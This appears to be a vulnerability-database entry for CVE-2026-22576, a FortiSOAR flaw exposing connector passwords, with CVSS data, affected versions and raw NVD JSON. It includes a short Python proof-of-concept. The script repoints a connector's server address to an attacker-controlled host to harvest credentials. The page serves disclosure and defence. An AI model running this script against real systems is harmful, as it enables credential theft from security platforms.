Security Vulnerability Report
中文
CVE-2026-22576 CVSS 4.3 MEDIUM

CVE-2026-22576

Published: 2026-04-14 16:16:37
Last Modified: 2026-05-06 15:50:36

Description

A storing passwords in a recoverable format vulnerability in Fortinet FortiSOAR PaaS 7.6.0 through 7.6.4, FortiSOAR PaaS 7.5.0 through 7.5.2, FortiSOAR PaaS 7.4 all versions, FortiSOAR PaaS 7.3 all versions, FortiSOAR on-premise 7.6.0 through 7.6.4, FortiSOAR on-premise 7.5.0 through 7.5.2, FortiSOAR on-premise 7.4 all versions, FortiSOAR on-premise 7.3 all versions may allow an authenticated remote attacker to retrieve passwords for multiple installed connectors via server address modification in connector configuration.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:* - VULNERABLE
FortiSOAR PaaS 7.3.0 - 7.3.x
FortiSOAR PaaS 7.4.0 - 7.4.x
FortiSOAR PaaS 7.5.0 - 7.5.2
FortiSOAR PaaS 7.6.0 - 7.6.4
FortiSOAR on-premise 7.3.0 - 7.3.x
FortiSOAR on-premise 7.4.0 - 7.4.x
FortiSOAR on-premise 7.5.0 - 7.5.2
FortiSOAR on-premise 7.6.0 - 7.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-22576 PoC Concept # Attacker modifies the connector server address to leak credentials target_url = "https://<fortisoar_host>/api/connector" attacker_server = "http://attacker-controlled-server.com" # Headers with authentication cookie/token headers = { "Authorization": "Bearer <valid_token>", "Content-Type": "application/json" } # Payload manipulating the server address configuration payload = { "connector_id": "<target_connector_id>", "configuration": { "server_address": attacker_server # Malicious modification } } try: # Sending request to update configuration response = requests.post(target_url, json=payload, headers=headers, verify=False) # Check if the response contains leaked credentials or if data is sent to attacker_server if response.status_code == 200: print("[+] Configuration update request sent.") print("[+] Check attacker server logs for incoming credentials.") else: print("[-] Request failed.") print(response.text) except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22576", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:36.937", "lastModified": "2026-05-06T15:50:36.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A storing passwords in a recoverable format vulnerability in Fortinet FortiSOAR PaaS 7.6.0 through 7.6.4, FortiSOAR PaaS 7.5.0 through 7.5.2, FortiSOAR PaaS 7.4 all versions, FortiSOAR PaaS 7.3 all versions, FortiSOAR on-premise 7.6.0 through 7.6.4, FortiSOAR on-premise 7.5.0 through 7.5.2, FortiSOAR on-premise 7.4 all versions, FortiSOAR on-premise 7.3 all versions may allow an authenticated remote attacker to retrieve passwords for multiple installed connectors via server address modification in connector configuration."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-257"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.3.0", "versionEndExcluding": "7.5.3", "matchCriteriaId": "CD42D7DF-B095-44E1-B7E1-D203678DF740"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.5", "matchCriteriaId": "B8E1DFBC-0D1B-419C-89A5-D2A59B7485F6"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-104", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}